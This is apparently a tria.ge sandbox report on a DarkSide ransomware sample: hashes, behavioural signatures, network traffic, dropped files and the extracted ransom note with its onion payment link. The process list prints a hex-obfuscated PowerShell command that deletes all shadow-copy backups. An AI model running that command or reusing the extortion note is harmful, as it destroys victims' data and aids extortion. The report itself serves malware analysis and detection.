Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows10-2004-x64

3

Ransomware...KB.exe

windows7-x64

7

Ransomware...KB.exe

windows10-2004-x64

3

Ransomware...KB.exe

windows10-ltsc_2021-x64

3

Ransomware...KB.exe

windows11-21h2-x64

3

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows7-x64

10

Ransomware...KB.exe

windows10-2004-x64

10

Ransomware...KB.exe

windows10-ltsc_2021-x64

10

Ransomware...KB.exe

windows11-21h2-x64

10

Resubmissions

25/03/2025, 15:11 UTC

250325-skmbpsxzaw 10

25/03/2025, 15:06 UTC

250325-sg1d6a1px2 10

25/03/2025, 15:01 UTC

250325-sd5jpsxyct 10

25/03/2025, 14:56 UTC

250325-sbdcfaxxgs 10

25/03/2025, 14:50 UTC

250325-r7ve6a1nv3 10

25/03/2025, 14:46 UTC

250325-r5ab7sxwhx 10

25/03/2025, 14:40 UTC

250325-r2c9paxwe1 10

05/02/2025, 10:25 UTC

250205-mgcefaslhw 10

05/02/2025, 10:17 UTC

250205-mbs51atmbk 10

05/02/2025, 09:15 UTC

250205-k785zs1pfn 10

Analysis

  • max time kernel
    109s
  • max time network
    113s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250314-en
  • resource tags

    arch:x64arch:x86image:win11-20250314-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    25/03/2025, 14:50 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RansomwareSamples/DarkSide_01_05_2021_30KB.exe

  • Size

    30KB

  • MD5

    f00aded4c16c0e8c3b5adfc23d19c609

  • SHA1

    86ca4973a98072c32db97c9433c16d405e4154ac

  • SHA256

    4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a

  • SHA512

    a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf

  • SSDEEP

    768:lXnIczxCbTRNl71wHpZQgYI1TQPB3aYJEOW:hIMxCXd1+pZQgYIxk3vJE

Score
10/10
darksidecredential_accessdiscoveryexecutionransomwarespywarestealerupx

Malware Config

Extracted

Path

C:\Recovery\WindowsRE\README.ca14edc8.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

    ransomwaredarkside
  • Darkside family
    darkside
  • Renames multiple (166) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Control Panel 1 IoCs
    defense_evasion
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe
    C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe bcdedit /set shutdown /r /f /t 2
    1⤵
    • Sets desktop wallpaper using registry
    • System Location Discovery: System Language Discovery
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4620
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4824

Network

  • flag-us
    DNS
    catsdegree.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    catsdegree.com
    IN A
    Response
    catsdegree.com
    IN CNAME
    77980.bodis.com
    77980.bodis.com
    IN A
    199.59.243.228
  • flag-us
    DNS
    ctldl.windowsupdate.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    ctldl.windowsupdate.com
    IN A
    Response
    ctldl.windowsupdate.com
    IN CNAME
    ctldl.windowsupdate.com.delivery.microsoft.com
    ctldl.windowsupdate.com.delivery.microsoft.com
    IN CNAME
    wu-b-net.trafficmanager.net
    wu-b-net.trafficmanager.net
    IN CNAME
    bg.microsoft.map.fastly.net
    bg.microsoft.map.fastly.net
    IN A
    199.232.214.172
    bg.microsoft.map.fastly.net
    IN A
    199.232.210.172
  • flag-us
    DNS
    x1.c.lencr.org
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    x1.c.lencr.org
    IN A
    Response
    x1.c.lencr.org
    IN CNAME
    crl.root-x1.letsencrypt.org.edgekey.net
    crl.root-x1.letsencrypt.org.edgekey.net
    IN CNAME
    e8652.dscx.akamaiedge.net
    e8652.dscx.akamaiedge.net
    IN A
    23.206.177.128
  • flag-us
    DNS
    r11.o.lencr.org
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    r11.o.lencr.org
    IN A
    Response
    r11.o.lencr.org
    IN CNAME
    o.lencr.edgesuite.net
    o.lencr.edgesuite.net
    IN CNAME
    a1887.dscq.akamai.net
    a1887.dscq.akamai.net
    IN A
    2.18.190.206
    a1887.dscq.akamai.net
    IN A
    2.18.190.198
  • flag-us
    DNS
    228.243.59.199.in-addr.arpa
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    228.243.59.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    temisleyes.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    temisleyes.com
    IN A
    Response
  • flag-us
    DNS
    c.pki.goog
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    c.pki.goog
    IN A
    Response
    c.pki.goog
    IN CNAME
    pki-goog.l.google.com
    pki-goog.l.google.com
    IN A
    142.250.179.227
  • flag-us
    DNS
    nexusrules.officeapps.live.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    nexusrules.officeapps.live.com
    IN A
    Response
    nexusrules.officeapps.live.com
    IN CNAME
    prod.nexusrules.live.com.akadns.net
    prod.nexusrules.live.com.akadns.net
    IN A
    52.111.243.29
  • flag-us
    DNS
    nexusrules.officeapps.live.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    nexusrules.officeapps.live.com
    IN A
  • flag-us
    DNS
    nexusrules.officeapps.live.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    nexusrules.officeapps.live.com
    IN A
  • flag-us
    DNS
    nexusrules.officeapps.live.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    nexusrules.officeapps.live.com
    IN A
  • flag-us
    DNS
    nexusrules.officeapps.live.com
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    8.8.8.8:53
    Request
    nexusrules.officeapps.live.com
    IN A
  • flag-gb
    GET
    http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOPD1N7%2F8lTTs3OnT7ZlAvvEw%3D%3D
    DarkSide_01_05_2021_30KB.exe
    Remote address:
    2.18.190.206:80
    Request
    GET /MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOPD1N7%2F8lTTs3OnT7ZlAvvEw%3D%3D HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    User-Agent: Microsoft-CryptoAPI/10.0
    Host: r11.o.lencr.org
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Content-Type: application/ocsp-response
    Content-Length: 504
    ETag: "92A3DCC68E93C115CA84D3AFDF3A361C51D00D61AEB709765DF6F8B4C210E94D"
    Last-Modified: Tue, 25 Mar 2025 14:14:00 UTC
    Cache-Control: public, no-transform, must-revalidate, max-age=21599
    Expires: Tue, 25 Mar 2025 20:51:53 GMT
    Date: Tue, 25 Mar 2025 14:51:54 GMT
    Connection: keep-alive
  • flag-gb
    GET
    http://c.pki.goog/r/r1.crl
    Remote address:
    142.250.179.227:80
    Request
    GET /r/r1.crl HTTP/1.1
    Cache-Control: max-age = 3000
    Connection: Keep-Alive
    Accept: */*
    If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT
    User-Agent: Microsoft-CryptoAPI/10.0
    Host: c.pki.goog
    Response
    HTTP/1.1 304 Not Modified
    Date: Tue, 25 Mar 2025 14:48:15 GMT
    Expires: Tue, 25 Mar 2025 15:38:15 GMT
    Age: 279
    Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT
    Cache-Control: public, max-age=3000
    Vary: Accept-Encoding
  • 199.59.243.228:443
    catsdegree.com
    tls
    DarkSide_01_05_2021_30KB.exe
    1.8kB
     6.4kB
     16
    13
  • 2.18.190.206:80
    http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOPD1N7%2F8lTTs3OnT7ZlAvvEw%3D%3D
    http
    DarkSide_01_05_2021_30KB.exe
    472 B
     1.0kB
     5
    3

    HTTP Request

    GET http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgOPD1N7%2F8lTTs3OnT7ZlAvvEw%3D%3D

    HTTP Response

    200
  • 199.59.243.228:443
    catsdegree.com
    tls
    DarkSide_01_05_2021_30KB.exe
    1.9kB
     6.4kB
     17
    13
  • 142.250.179.227:80
    http://c.pki.goog/r/r1.crl
    http
    384 B
     354 B
     4
    3

    HTTP Request

    GET http://c.pki.goog/r/r1.crl

    HTTP Response

    304
  • 8.8.8.8:53
    catsdegree.com
    dns
    DarkSide_01_05_2021_30KB.exe
    819 B
     1.2kB
     12
    8

    DNS Request

    catsdegree.com

    DNS Response

    199.59.243.228

    DNS Request

    ctldl.windowsupdate.com

    DNS Response

    199.232.214.172
    199.232.210.172

    DNS Request

    x1.c.lencr.org

    DNS Response

    23.206.177.128

    DNS Request

    r11.o.lencr.org

    DNS Response

    2.18.190.206
    2.18.190.198

    DNS Request

    228.243.59.199.in-addr.arpa

    DNS Request

    temisleyes.com

    DNS Request

    c.pki.goog

    DNS Response

    142.250.179.227

    DNS Request

    nexusrules.officeapps.live.com

    DNS Request

    nexusrules.officeapps.live.com

    DNS Request

    nexusrules.officeapps.live.com

    DNS Request

    nexusrules.officeapps.live.com

    DNS Request

    nexusrules.officeapps.live.com

    DNS Response

    52.111.243.29

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Recovery\WindowsRE\README.ca14edc8.TXT
    Filesize

    1KB

    MD5

    f418a249405444da33cc73b402a26306

    SHA1

    1a6c493e74036f93f0dae4b65e6c543c213ce418

    SHA256

    b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

    SHA512

    b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    aa0a32b11dca7b04f4cc5fe8c55cb357

    SHA1

    00e354fd0754a7d721a270cdc08f970b9a3f6605

    SHA256

    e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1

    SHA512

    1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    f24476aabf4515ae0100773667aafab4

    SHA1

    d225ade1d8b827f636af354b4fa649ad8f3d6a13

    SHA256

    712c617c132a6aab3615aa14d3575f7eb1d16f487cb6b3302f0381a5601ace43

    SHA512

    9c7cafdfe5cd7725d07c26a98a961d7f30eaef8272b66208c311862bb74d8cc2f446cb4c79147ea2dc05ec92f85c313539b107347195cb9cc1fdf3792243962f

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3fk1ngoz.2f5.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/3300-0-0x0000000000200000-0x0000000000217000-memory.dmp

    Filesize

    92KB

    Download

  • memory/3300-230-0x0000000000200000-0x0000000000217000-memory.dmp

    Filesize

    92KB

    Download

  • memory/3300-231-0x0000000000200000-0x0000000000217000-memory.dmp

    Filesize

    92KB

    Download

  • memory/3300-233-0x0000000000200000-0x0000000000217000-memory.dmp

    Filesize

    92KB

    Download

  • memory/4620-20-0x00007FFD750F0000-0x00007FFD75BB2000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4620-21-0x00007FFD750F0000-0x00007FFD75BB2000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4620-22-0x00007FFD750F0000-0x00007FFD75BB2000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4620-25-0x00007FFD750F0000-0x00007FFD75BB2000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4620-19-0x000002C5C3340000-0x000002C5C3362000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4620-10-0x00007FFD750F3000-0x00007FFD750F5000-memory.dmp

    Filesize

    8KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.